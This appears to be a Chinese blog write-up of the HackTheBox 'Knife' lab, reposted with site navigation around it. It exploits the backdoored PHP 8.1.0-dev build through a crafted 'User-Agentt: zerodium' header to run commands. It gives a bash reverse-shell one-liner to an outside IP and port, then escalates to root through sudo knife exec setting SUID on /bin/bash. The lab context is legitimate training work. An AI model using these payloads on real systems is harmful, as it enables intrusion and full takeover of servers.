zoukankan      html  css  js  c++  java
  • HackTheBox-Knife靶场实战

    HackTheBox-Knife靶场实战

    靶场信息

     

     信息搜集

    首先使用nmap进行端口扫描

     


    我们得知开启了22和80端口

    出于能不爆破就不爆破的原则,先访问80端口看一下

     

     

    80端口上的内容有点不明所以。

    在完全没思路的情况下,尝试使用dirbuster工具进行了目录爆破,但四十分钟过去了却没有一丁点收获,连robots.txt页面也不存在。

    我的思路就卡在这里了,一时之间不知道应该怎么做,就去泡了杯茶,突然来了灵感,要不先抓个包看看?

     


     

    乍一看似乎没有什么值得关注的东西,但在通宵日靶场导致神志不清又经过了茶叶洗礼的脑瓜子的引导下,我注意到了一个点。

    X-Powered-By: PHP/8.1.0-dev

    这东西,隐约之间觉得不简单,便去百度进行了搜索。搜索的同时尝试了nikto工具,也提示了这一条

     

     

    就是这两个提示,让我确信突破口在这,然后经过大量的google和百度搜索后,找到了一丝思路。

    PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。

     

    漏洞利用

     


     

    使用burp抓包,并加入字段

    User-Agentt: zerodiumvar_dump(2*3);

    发现被成功执行

     

    接着尝试命令是否可被解析执行

    User-Agentt: zerodiumsystem("id");

     


    Nice 命令可被执行,那就简单了,可以执行命令,那就尝试getshell吧

     

    本地监听:

    Nc –nvlp 9001

    执行命令:

    User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.240/9001 0>&1'");

     

     

    成功通过nc获得了一个shell

     

    首先确定是否有python

    Which python3

     

     

    确定python3存在,使用python3获得一个更加稳定的shell程序

    python3 -c 'import pty; pty.spawn("/bin/bash")'

     

     

    成功获得普通用户的flag

     

    漏洞提权

    先确定knife用户的sudo权限

    Sudo –l

    Ls –al /usr/bin/knife

     

     

     

    进行提权

    echo "system('chmod +s /bin/bash')" > exploit.rb

    ls

    sudo /usr/bin/knife exec exploit.rb

    ls -al /bin/bash

    /bin/bash –p

     

     

    获得root用户的flag

     

  • 相关阅读:
    Python shutil模块(目录和文件操作)
    CentOS8的web终端-cockpit
    OpenStack与ZStack深度对比:架构、部署、计算、运维监控等
    Zstack的安装部署
    Git介绍与简易搭建
    Docker 底层技术与端口映射
    Docker 网络
    Dockerfile编写
    Docker监控
    Docker 中卷组管理
  • 原文地址:https://www.cnblogs.com/xyongsec/p/14813540.html
Copyright © 2011-2022 走看看